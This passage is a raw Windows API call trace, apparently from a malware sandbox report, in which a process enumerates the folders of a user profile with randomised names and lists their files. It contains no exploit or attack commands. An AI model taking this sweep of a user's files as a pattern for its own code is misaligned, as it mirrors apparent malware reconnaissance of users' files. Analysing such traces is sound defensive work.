ftCreationTime.dwHighDateTime=0x1d4c9cb, ftLastAccessTime.dwLowDateTime=0xa16895b0, ftLastAccessTime.dwHighDateTime=0x1d4d266, ftLastWriteTime.dwLowDateTime=0xa16895b0, ftLastWriteTime.dwHighDateTime=0x1d4d266, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rBkn83DAvewyB", cAlternateFileName="RBKN83~1")) returned 1 [0111.670] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2697e9c0, ftCreationTime.dwHighDateTime=0x1d4c817, ftLastAccessTime.dwLowDateTime=0xf1ea5b00, ftLastAccessTime.dwHighDateTime=0x1d4c8c4, ftLastWriteTime.dwLowDateTime=0xf1ea5b00, ftLastWriteTime.dwHighDateTime=0x1d4c8c4, nFileSizeHigh=0x0, nFileSizeLow=0x4562, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sLHdw2s-tEQcdxTjD.jpg", cAlternateFileName="SLHDW2~1.JPG")) returned 1 [0111.670] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9379e70, ftCreationTime.dwHighDateTime=0x1d4cc0e, ftLastAccessTime.dwLowDateTime=0x8e3762a0, ftLastAccessTime.dwHighDateTime=0x1d4d081, ftLastWriteTime.dwLowDateTime=0x8e3762a0, ftLastWriteTime.dwHighDateTime=0x1d4d081, nFileSizeHigh=0x0, nFileSizeLow=0xf87d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vqrGBu_vIn8q3b.jpg", cAlternateFileName="VQRGBU~1.JPG")) returned 1 [0111.670] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ed3020, ftCreationTime.dwHighDateTime=0x1d4d1ca, ftLastAccessTime.dwLowDateTime=0xbb922bc0, ftLastAccessTime.dwHighDateTime=0x1d4d010, ftLastWriteTime.dwLowDateTime=0xbb922bc0, ftLastWriteTime.dwHighDateTime=0x1d4d010, nFileSizeHigh=0x0, nFileSizeLow=0x474f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YE BtExcqJs.bmp", cAlternateFileName="YEBTEX~1.BMP")) returned 1 [0111.670] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59189d60, ftCreationTime.dwHighDateTime=0x1d4cb4e, ftLastAccessTime.dwLowDateTime=0xc10442c0, ftLastAccessTime.dwHighDateTime=0x1d4cf8c, ftLastWriteTime.dwLowDateTime=0xc10442c0, ftLastWriteTime.dwHighDateTime=0x1d4cf8c, nFileSizeHigh=0x0, nFileSizeLow=0xd9d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_g2PjaKI054.gif", cAlternateFileName="_G2PJA~1.GIF")) returned 1 [0111.670] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59189d60, ftCreationTime.dwHighDateTime=0x1d4cb4e, ftLastAccessTime.dwLowDateTime=0xc10442c0, ftLastAccessTime.dwHighDateTime=0x1d4cf8c, ftLastWriteTime.dwLowDateTime=0xc10442c0, ftLastWriteTime.dwHighDateTime=0x1d4cf8c, nFileSizeHigh=0x0, nFileSizeLow=0xd9d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_g2PjaKI054.gif", cAlternateFileName="_G2PJA~1.GIF")) returned 0 [0111.670] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.670] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.670] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.670] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0111.670] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.670] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.670] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.670] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.670] PathFindFileNameW (pszPath="") returned="" [0111.670] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59189d60, ftCreationTime.dwHighDateTime=0x1d4cb4e, ftLastAccessTime.dwLowDateTime=0xc10442c0, ftLastAccessTime.dwHighDateTime=0x1d4cf8c, ftLastWriteTime.dwLowDateTime=0xc10442c0, ftLastWriteTime.dwHighDateTime=0x1d4cf8c, nFileSizeHigh=0x0, nFileSizeLow=0xd9d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_g2PjaKI054.gif", cAlternateFileName="_G2PJA~1.GIF")) returned 0xffffffff [0111.670] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.670] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.670] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.670] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0111.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.671] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.671] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.671] PathFindFileNameW (pszPath="") returned="" [0111.671] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59189d60, ftCreationTime.dwHighDateTime=0x1d4cb4e, ftLastAccessTime.dwLowDateTime=0xc10442c0, ftLastAccessTime.dwHighDateTime=0x1d4cf8c, ftLastWriteTime.dwLowDateTime=0xc10442c0, ftLastWriteTime.dwHighDateTime=0x1d4cf8c, nFileSizeHigh=0x0, nFileSizeLow=0xd9d4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_g2PjaKI054.gif", cAlternateFileName="_G2PJA~1.GIF")) returned 0xffffffff [0111.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d7b8 | out: hHeap=0x5010000) returned 1 [0111.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.671] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0111.671] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.671] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.671] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.671] PathFindFileNameW (pszPath="") returned="" [0111.671] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.671] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.671] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.671] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.672] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0111.672] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.672] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.672] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0111.672] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.672] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.672] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.672] PathFindFileNameW (pszPath="") returned="" [0111.672] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.672] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.672] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.672] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0111.672] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0111.672] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0111.672] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.672] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.672] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.673] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0111.673] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.673] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.673] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.673] PathFindFileNameW (pszPath="") returned="" [0111.673] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0111.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d7b8 | out: hHeap=0x5010000) returned 1 [0111.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.673] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.673] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0111.673] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.673] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.673] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.673] PathFindFileNameW (pszPath="") returned="" [0111.673] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0111.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.673] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.674] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.674] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0111.674] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.674] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.674] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.674] PathFindFileNameW (pszPath="") returned="" [0111.674] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0111.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c048 | out: hHeap=0x5010000) returned 1 [0111.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0111.674] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.674] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0111.674] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.674] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f10 | out: hHeap=0x5010000) returned 1 [0111.674] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.674] PathFindFileNameW (pszPath="") returned="" [0111.674] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c0e1ec0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c0e1ec0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.674] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d7b8 | out: hHeap=0x5010000) returned 1 [0111.674] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c0e1ec0, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c0e1ec0, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.675] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60e5c710, ftCreationTime.dwHighDateTime=0x1d4d56d, ftLastAccessTime.dwLowDateTime=0x20c25e70, ftLastAccessTime.dwHighDateTime=0x1d4c558, ftLastWriteTime.dwLowDateTime=0x20c25e70, ftLastWriteTime.dwHighDateTime=0x1d4c558, nFileSizeHigh=0x0, nFileSizeLow=0x158af, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4XdhJ_Lqlr8BQwVu7.avi", cAlternateFileName="4XDHJ_~1.AVI")) returned 1 [0111.675] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.675] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8658290, ftCreationTime.dwHighDateTime=0x1d4ca53, ftLastAccessTime.dwLowDateTime=0x363d5560, ftLastAccessTime.dwHighDateTime=0x1d4c5c7, ftLastWriteTime.dwLowDateTime=0x363d5560, ftLastWriteTime.dwHighDateTime=0x1d4c5c7, nFileSizeHigh=0x0, nFileSizeLow=0x11751, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LSGoRNlCd_flaeQTyFZ.swf", cAlternateFileName="LSGORN~1.SWF")) returned 1 [0111.675] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ba25f0, ftCreationTime.dwHighDateTime=0x1d4cfff, ftLastAccessTime.dwLowDateTime=0x4481de00, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x4481de00, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UYaZ4DG0b_NROc5iB6tm", cAlternateFileName="UYAZ4D~1")) returned 1 [0111.675] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ba25f0, ftCreationTime.dwHighDateTime=0x1d4cfff, ftLastAccessTime.dwLowDateTime=0x4481de00, ftLastAccessTime.dwHighDateTime=0x1d4d479, ftLastWriteTime.dwLowDateTime=0x4481de00, ftLastWriteTime.dwHighDateTime=0x1d4d479, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UYaZ4DG0b_NROc5iB6tm", cAlternateFileName="UYAZ4D~1")) returned 0 [0111.675] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d760 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d6b0 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b15360 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d600 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d3f0 | out: hHeap=0x5010000) returned 1 [0111.675] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a0d708 | out: hHeap=0x5010000) returned 1 